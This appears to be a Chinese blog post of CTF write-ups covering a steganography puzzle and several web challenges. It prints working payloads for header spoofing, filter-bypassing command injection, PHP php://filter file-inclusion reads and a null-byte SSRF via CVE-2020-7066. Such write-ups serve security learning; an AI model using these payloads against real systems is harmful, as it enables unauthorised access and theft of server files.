[SWPU 2019]神奇的二维码、buuctf部分web题

目录

[SWPU 2019]神奇的二维码

[LitCTF 2023]Http pro max plus

[SWPUCTF 2021 新生赛]finalrce

​[鹏城杯 2022]简单包含

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

[GKCTF 2020]cve版签到

cve-2020-7066:


[SWPU 2019]神奇的二维码

解码看看,是一个错误的flag

用010editor查看,发现存在.rar文件(rar压缩文件十六进制开头52 61 72 21)

将文件放入kali,使用binwalk分离文件

Binwalk

binwalk 文件名   //分析文件

binwalk -e 文件名 --run-as=root   //分离文件

分离得4个压缩包

这两个需要解压密码

查看encode.txt文件,base64解码得asdfghjkl1234567890

这是flag.jpg的解压密码,解压后是一张单纯的图片

 查看flag.doc文件,试了一下,应该是进行了很多次base64编码得到的

一次一次解很麻烦,找大佬脚本直接跑

base64隐写,多次base64加密解密,文件写入,字符统计-CSDN博客

BUUCTF:[SWPU2019]神奇的二维码_buuctf [swpu2019]神奇的二维码-CSDN博客

//  e:/云靶场/base64.txt 要解码的文件路径

import base64

def decode(f):
	n = 0;
	while True:
		try:
			f = base64.b64decode(f)
			n += 1
		except:
			print('[+]Base64共decode了{0}次,最终解码结果如下:'.format(n))
			print(str(f,'utf-8'))
			break

if __name__ == '__main__':
	f = open('e:/云靶场/base64.txt','r').read()
	decode(f)

解码了20次得到 comEON_YOuAreSOSoS0great

这是good.mp3的解压密码,解压得到一段 滴滴滴 的音频,听起来像摩斯密码

不是很长,手动记录一下(听不清楚可以调慢倍速):

-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.--

解码得flag内容

[LitCTF 2023]Http pro max plus

打开环境说只允许本地访问,试试xff。bp抓包,添加一个本地管理员身份

看来该方法用不了

查看大佬wp,学习可以控制IP地址信息的新方法——Client-IP

[LitCTF 2023]Http pro max plus-CSDN博客

Client-IP:是另一个用于传递客户端IP地址的HTTP请求头字段,不如X-Forwarded-For常用。

这个字段只包含一个IP地址,即请求的客户端IP地址。

bp抓包传入  Client-IP:127.0.0.1

成功绕过本地访问条件,回显提示说  不是来自pornhub.com,可以利用Referer字段解决

Referer(引用页):表示用户从哪个页面发起的请求。包含了发起请求的页面的URL。

服务器可以根据这个字段来识别用户是从哪个页面跳转过来的,以便进行统计分析、日志记录、缓存优化等。

出于隐私和安全的考虑,有时浏览器可能不会发送Referer字段。

referrer单词拼写错误, 为了保持向下兼容,所以将错就错。

绕过后有提示说要利用Chrome浏览器 ,利用UA伪造浏览器

绕过后又提示要添加代理服务器Clash.win,使用Via字段

Via字段:是一个可选的HTTP请求头字段,其中包含了代理服务器的相关信息。

当请求经过一个或多个代理服务器时,每个代理服务器都会向"Via"字段添加自己的标识。这样做的目的是提供有关请求路径的信息,以便于调试、故障排查和确定请求的来源。

在伪造的时候只需要直接添加代理服务器的名称就行

绕过后得到了一个路径/wtfwtfwtfwtf.php

 访问得到3个超链接,啥也没有,查看源代码又得到一个路径 /sejishikong.php

访问得到flag

[SWPUCTF 2021 新生赛]finalrce

GET传参url,正则过滤了 ls cat la 等,可用 \ 转义符 ' ' 绕过。

\ 转义符:在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但作用不变。

'' 内联执行:在linux系统中,反引号作为内联执行,输出查询结果的内容。

exec()函数:执行一个新的程序

不输出结果,但返回执行结果的最后一行

无回显:搭配echo或其他的输出函数 如print_r()函数使得其回显

此处使用输出函数依然无回显,可使用 tee 命令将其写入.txt文件。

 linux中 “tee” 是从标准输入读取,再写入标准输出和文件

?url=l\s /|tee 1.txt
?url=l's' /|tee 1.txt
//将根目录写入1.txt文件

访问1.txt文件,发现flag存在

?url=tac /flllll\aaaaaaggggggg|tee 2.txt
?url=tac /flllll'aaaaaaggggggg'|tee 2.txt
//将读取的flag内容写入2.txt文件

访问2.txt文件,得到flag

[鹏城杯 2022]简单包含

打开环境发现flag.php路径,POST传参flag

尝试使用file://协议访问本地文件系统,发现有waf

file:// [文件的绝对路径和文件名]

flag=file:///flag.php
flag=file://var/www/html/flag.php

尝试访问index.php,无法读取。

于是使用php://filter伪协议 读取源代码并进行base64编码输出。

flag=php://filter/read=convert.base64-encode/resource=flag.php

//访问index.php

flag=php://filter/read=convert.base64-encode/resource=index.php

回显一串base64,解码后得到了真实的代码

<?php
$path = $_POST["flag"]; // 从 POST 请求的 "flag" 参数中获取路径

// 如果从 php://input 读取的内容长度小于 800 字节,并且 $path 包含 "flag" 字符串,则输出 "nssctf waf!",否则尝试包含 $path 指定的文件(即读取flag)
//php://input   将post请求中的数据作为PHP代码执行
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

第一层: php://input    post传入字符串的数量大于800

第二层: php://input 传入的字符串中不包含flag

python生成801个字符串a

构建payload传入,解码得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

<?php
error_reporting(0);                // 设置错误报告级别为0,即关闭错误报告

if (isset($_GET['file'])) {        // 如果存在$_GET['file']这个变量
    if (substr($_GET["file"], 0, 3) === "php") {      // 如果$_GET["file"]的前三个字符是"php"
        echo "Nice!!!";            // 打印"Nice!!!"
        include($_GET["file"]);    // 包含指定的文件
    } 
    else {       
        echo "Hacker!!";           // 打印"Hacker!!"
    }
}                                  // 如果$_GET['file']不存在
else {    
    highlight_file(__FILE__);      // 高亮显示当前文件的内容
}
//flag.php

提示file参数的前三个字符是php,想到使用php://filter读取源代码并进行base64编码输出。

?file=php://filter/convert.base64-encode/resource=flag.php

解码,提示flag在/flag路径下

<?php
error_reporting(0);                                //隐藏报错
header("Content-Type:text/html;charset=utf-8");    //设置了HTTP响应头,指示浏览器内容类型为HTML,字符编码为UTF-8。


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_ '/flag' "."<br/>";
echo "换个思路,试试PHP伪协议呢";

改payload为: ?file=php://filter/convert.base64-encode/resource=/flag

base64解码得flag。

[GKCTF 2020]cve版签到

打开环境 提示   你只需查看*.ctfhub.com(即url要以ctfhub.com结尾)

故ssrf的URL伪协议都用不了

点击View CTFHub 会返回一些信息

F12发现hint flag在本地,且为url传参,判断为ssrf

尝试访问本地环境127.0.0.1 ,还是回显刚开始的界面 结尾又是固定的... ...

题目提到cve,不知道是什么  查看大佬wp后了解cve-2020-7066。

什么是CVE? CVE漏洞应该如何防护?_cvd cve-CSDN博客

CVE(Common Vulnerabilities and Exposures)的全称是公共漏洞和暴露,是公开披露的网络安全漏洞列表。在CVE中,每个漏洞按CVE-1999-0067、CVE-2014-10001、CVE-2014-100001这样的形式编号。

cve-2020-7066:

根据阿里云漏洞库:CVE-2020-7066 是 php 函数 get_headers 中的信息泄漏漏洞。

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,同时将get_headers()与用户提供的URL一起使用时,如果URL包含零(\0) 字符,则URL将被静默地截断。

这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。(即 %00 截断

于是使用%00截断只访问到127.0.0.1环境,构造payload:

?url=http://127.0.0.1%00www.ctfhub.com

payload改为: 得到flag

?url=http://127.0.0.123%00www.ctfhub.com 

  • 21
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值